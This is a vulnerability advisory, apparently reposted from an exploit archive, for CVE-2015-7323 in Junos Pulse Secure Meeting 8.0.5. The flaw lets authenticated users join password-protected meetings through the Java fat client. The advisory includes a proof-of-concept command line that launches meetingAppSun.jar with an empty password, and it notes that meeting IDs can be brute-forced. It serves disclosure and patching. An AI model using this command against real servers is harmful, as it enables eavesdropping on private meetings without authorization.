Junos Pulse Secure Meeting version 8.0.5 allows an attacker to enter “secure” meetings without knowledge of the password and the invitation link using the java fat client (meetingAppSun.jar).
Vulnerablity Title
==================
Secure Meeting (Pulse Collaboration) issue may allow authenticated users to bypass meeting authorization (CVE-2015-7323)
Vendor:
=======================================
Pulse Secure, LLC (www.pulsesecure.net)
Product:
================================
Junos Pulse Secure Meeting
Secure Meeting is a part of the Junos Puls Collaboration software, which allows you to organize and holding virtual meetings with internal and external users via the Juniper Access Gateway.
Vulnerability Type:
===================
Insufficient Authorization Checks
CVE Reference:
==============
CVE-2015-7323
VENDOR Reference:
=================
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA40054
Vulnerability Details:
=====================
It is possible to enter "secure" meetings without knowledge of the password and the invitation link using the java fat client (meetingAppSun.jar).
To access such meetings the following information is required:
- A valid sessionID (DSID)
This sessionID can be obtained by either having an invitation link to any other meeting or the user has a valid account to log into junos pulse using the http login form.
- The meeting ID
The meeting ID is a 7-8 digits number which may be gained using brute force or via CVE-2015-7322 (https://profundis-labs.com/advisories/CVE-2015-7323.txt)
Note: The vulnerability is only related to the java fat client. If a user tries to access a secure meeting using the web browser (https://domain/dana-na/meeting/login_meeting.cgi?mid=PARAM_A&occurrence=0), the meeting password (or invitation link) is required.
PoC code(s):
===============
Example how to start the java fat client to access a meeting A from the command line:
java -classpath /usr/lib/jvm/java-7-oracle/jre/lib/plugin.jar:~/.juniper_networks/meetingAppSun.jar SecureMeetingApplication ivehost PARAM_D locale de log_level 1 meeting_type 0 Parameter0 "meeting_id=PARAM_A;user_name=xxx;cert_md5=PARAM_B;ncp_read_timeout=90;password=;meeting_url=;mobile_meeting_url=" uploadlog 1 home_dir "/home/..." user_agent "Mozilla/5.0" neoteris-dsid "DSID=PARAM_C"
PARAM_A = meeting ID of Meeting A
PARAM_B = md5 hash of the SSL-certifificate of Junos Pulse server
PARAM_C = a valid sessionID
PARAM_D = the domain/IP of the Junos Pulse server
Disclosure Timeline:
=========================================================
Vendor Notification: 01/2015
Vendor Confirmation: 03/2015
Vendor Patch Release: 06/2015
Public Disclosure: 09/2015
Affected Version:
=========================================================
8.0.5
# 0day.today [2018-03-19] #